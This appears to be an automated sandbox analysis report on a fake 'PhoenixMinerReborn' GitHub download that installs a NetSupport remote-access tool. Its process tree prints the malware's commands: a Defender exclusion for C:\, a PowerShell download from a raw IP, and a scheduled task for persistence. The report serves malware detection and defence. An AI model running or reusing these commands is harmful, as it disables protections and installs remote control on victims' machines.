netsupport | hxxps://github[.]com/PhoenixMinerReborn/PhoenixMinerReborn/releases/download/1[.]1[.]2/PhoenixMinerReborn[.]zip

Analysis

max time kernel
201s
max time network
204s
platform
windows10-2004_x64
resource
win10v2004-20231020-en
resource tags

arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
submitted
03/11/2023, 14:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/PhoenixMinerReborn/PhoenixMinerReborn/releases/download/1.1.2/PhoenixMinerReborn.zip

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://188.34.200.59/cloud/everyonelatest.zip

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 1 IoCs

flow	pid	Process
100	5324	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation	everyonelatest.exe

Executes dropped EXE 4 IoCs

pid	Process
5700	everyonelatest.exe
5676	PhoenixMinerReborn.exe
3348	everyonelatest.exe
2108	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
2108	client32.exe
2108	client32.exe
2108	client32.exe
2108	client32.exe
2108	client32.exe
2108	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	PhoenixMinerReborn.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5700 set thread context of 3348	5700	everyonelatest.exe	143

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4744	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000_Classes\Local Settings	msedge.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1664	msedge.exe
1664	msedge.exe
1640	msedge.exe
1640	msedge.exe
4584	identity_helper.exe
4584	identity_helper.exe
3440	msedge.exe
3440	msedge.exe
5984	powershell.exe
5984	powershell.exe
6108	msedge.exe
6108	msedge.exe
6108	msedge.exe
6108	msedge.exe
5984	powershell.exe
5324	powershell.exe
5324	powershell.exe
5324	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	5984	powershell.exe
Token: SeDebugPrivilege	5324	powershell.exe
Token: SeDebugPrivilege	5700	everyonelatest.exe
Token: SeSecurityPrivilege	2108	client32.exe

Suspicious use of FindShellTrayWindow 46 IoCs

pid	Process
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
2108	client32.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe
1640	msedge.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
5268	PhoenixMinerReborn.exe
5676	PhoenixMinerReborn.exe
3348	everyonelatest.exe
2108	client32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1640 wrote to memory of 2772	1640	msedge.exe	36
PID 1640 wrote to memory of 2772	1640	msedge.exe	36
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 3828	1640	msedge.exe	90
PID 1640 wrote to memory of 1664	1640	msedge.exe	91
PID 1640 wrote to memory of 1664	1640	msedge.exe	91
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92
PID 1640 wrote to memory of 2000	1640	msedge.exe	92

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/PhoenixMinerReborn/PhoenixMinerReborn/releases/download/1.1.2/PhoenixMinerReborn.zip
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffdf27a46f8,0x7ffdf27a4708,0x7ffdf27a4718
  2⤵
  PID:2772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2160,10049981219822168691,4974905460795337541,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2176 /prefetch:2
  2⤵
  PID:3828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2160,10049981219822168691,4974905460795337541,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2160,10049981219822168691,4974905460795337541,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2864 /prefetch:8
  2⤵
  PID:2000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,10049981219822168691,4974905460795337541,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1816 /prefetch:1
  2⤵
  PID:3628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,10049981219822168691,4974905460795337541,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
  2⤵
  PID:1936
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,10049981219822168691,4974905460795337541,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5424 /prefetch:1
  2⤵
  PID:4148
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,10049981219822168691,4974905460795337541,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5396 /prefetch:1
  2⤵
  PID:3000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,10049981219822168691,4974905460795337541,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5988 /prefetch:1
  2⤵
  PID:4988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,10049981219822168691,4974905460795337541,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6008 /prefetch:1
  2⤵
  PID:2736
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2160,10049981219822168691,4974905460795337541,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5840 /prefetch:8
  2⤵
  PID:3112
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2160,10049981219822168691,4974905460795337541,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5840 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4584
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2160,10049981219822168691,4974905460795337541,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=6020 /prefetch:8
  2⤵
  PID:4636
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2160,10049981219822168691,4974905460795337541,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3420 /prefetch:1
  2⤵
  PID:1180
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2160,10049981219822168691,4974905460795337541,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4356 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2160,10049981219822168691,4974905460795337541,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1988 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6108

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3584

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3272

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3796

C:\Users\Admin\AppData\Local\Temp\Temp1_PhoenixMinerReborn.zip\PhoenixMinerReborn.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_PhoenixMinerReborn.zip\PhoenixMinerReborn.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
PID:5268
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c AddToExclusionAndDwldAndUnzipAdnRunExe.bat
  2⤵
  PID:5876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -inputformat none -outputformat none -NonInteractive -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('http://188.34.200.59/cloud/everyonelatest.zip', 'everyonelatest.zip')"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5324
- - C:\Windows\system32\tar.exe
    tar -xf everyonelatest.zip
    3⤵
    PID:5288
- - C:\Windows\system32\cmd.exe
    cmd /c "everyonelatest.exe"
    3⤵
    PID:5640
  - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\everyonelatest\everyonelatest.exe
      everyonelatest.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      PID:5700
    - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\everyonelatest\everyonelatest.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\everyonelatest\everyonelatest.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:3348
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "ChromeBackup" /tr "C:\Users\Admin\AppData\Local\ChromeBackup\client32.exe" /RL HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:4744
      - C:\Users\Admin\AppData\Local\ChromeBackup\client32.exe
        
        C:\Users\Admin\AppData\Local\ChromeBackup\client32.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:2108
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\PhoenixMinerReborn.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\PhoenixMinerReborn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\ChromeBackup\HTCTL32.DLL

Filesize
320KB

MD5
c94005d2dcd2a54e40510344e0bb9435

SHA1
55b4a1620c5d0113811242c20bd9870a1e31d542

SHA256
3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

SHA512
2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Download Submit
C:\Users\Admin\AppData\Local\ChromeBackup\HTCTL32.DLL

Filesize
320KB

MD5
c94005d2dcd2a54e40510344e0bb9435

SHA1
55b4a1620c5d0113811242c20bd9870a1e31d542

SHA256
3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

SHA512
2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Download Submit
C:\Users\Admin\AppData\Local\ChromeBackup\MSVCR100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Local\ChromeBackup\NSM.LIC

Filesize
259B

MD5
3a88847f4bbf7199a2161ed963fe88ef

SHA1
8629803adb6af84691dc5431b6590df14bad4a61

SHA256
a680947aba5cf3316be50f1ec6a0d8bf72f7d7ca79d91430c26e24680eddd35e

SHA512
2b6408e7334946655045914b2cfa14dcfb39502f64ffafad784717a8ca036b73928bd7a5b02d650d8698357c54c31cac11a705baed0e1e7a3a07d659a2104e02

Download Submit
C:\Users\Admin\AppData\Local\ChromeBackup\PCICHEK.DLL

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
C:\Users\Admin\AppData\Local\ChromeBackup\PCICL32.dll

Filesize
3.5MB

MD5
35f0259df06c4605fe2743c26dd9eac5

SHA1
5ed1de8fe63d1bdd4ea7321bd27d22f162cc4168

SHA256
412674e44fa27c523e0d968244f0e4d128487daf779de17b83b94da8bf602e59

SHA512
f4e28b3ab19614d3e915a5d8333adb7805a213b31b4c7159c5d65b386f8dcc95fe3a892098a46abe92bb4ba12a31c140c97d24546c97f9c702638644bd874b71

Download Submit
C:\Users\Admin\AppData\Local\ChromeBackup\client32.exe

Filesize
98KB

MD5
d9d748d0a1f700c227198409f3b472eb

SHA1
74cc4f5deacdf5385442c7352b7a8a3a14393650

SHA256
4c517f97034f9d7adb528f171700c6c9bc8bd7272da1caeeea945db975c49c28

SHA512
56c00d4c18d6db9df5409d8f6b1411a0b4ee8422aa3ce9e3b24b346f140d4a3f9f9ac045e5db6ad49a8015d53630cd0fdcc67f72537a60eec1def402ba339725

Download Submit
C:\Users\Admin\AppData\Local\ChromeBackup\client32.exe

Filesize
98KB

MD5
d9d748d0a1f700c227198409f3b472eb

SHA1
74cc4f5deacdf5385442c7352b7a8a3a14393650

SHA256
4c517f97034f9d7adb528f171700c6c9bc8bd7272da1caeeea945db975c49c28

SHA512
56c00d4c18d6db9df5409d8f6b1411a0b4ee8422aa3ce9e3b24b346f140d4a3f9f9ac045e5db6ad49a8015d53630cd0fdcc67f72537a60eec1def402ba339725

Download Submit
C:\Users\Admin\AppData\Local\ChromeBackup\client32.ini

Filesize
637B

MD5
5274a126ee2f7f926fb8f9ac53a57abd

SHA1
10eeb6dbd99013c7969c27d09104fcb0ffbd97da

SHA256
b3f198f6976b2a97a0aafd4127bf1a274c3ca388226de13da37f3b5976b439ca

SHA512
fcf0b3c57bd2db6544274cb622c4855e915c74705c311e3f94749a401238ebf525fb4c9607528dedb9944b8c682a3da2e4bcdd9a0e6d7367241430e54ab290db

Download Submit
C:\Users\Admin\AppData\Local\ChromeBackup\msvcr100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Local\ChromeBackup\msvcr100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Local\ChromeBackup\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
C:\Users\Admin\AppData\Local\ChromeBackup\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
C:\Users\Admin\AppData\Local\ChromeBackup\pcichek.dll

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
C:\Users\Admin\AppData\Local\ChromeBackup\pcicl32.dll

Filesize
3.5MB

MD5
35f0259df06c4605fe2743c26dd9eac5

SHA1
5ed1de8fe63d1bdd4ea7321bd27d22f162cc4168

SHA256
412674e44fa27c523e0d968244f0e4d128487daf779de17b83b94da8bf602e59

SHA512
f4e28b3ab19614d3e915a5d8333adb7805a213b31b4c7159c5d65b386f8dcc95fe3a892098a46abe92bb4ba12a31c140c97d24546c97f9c702638644bd874b71

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
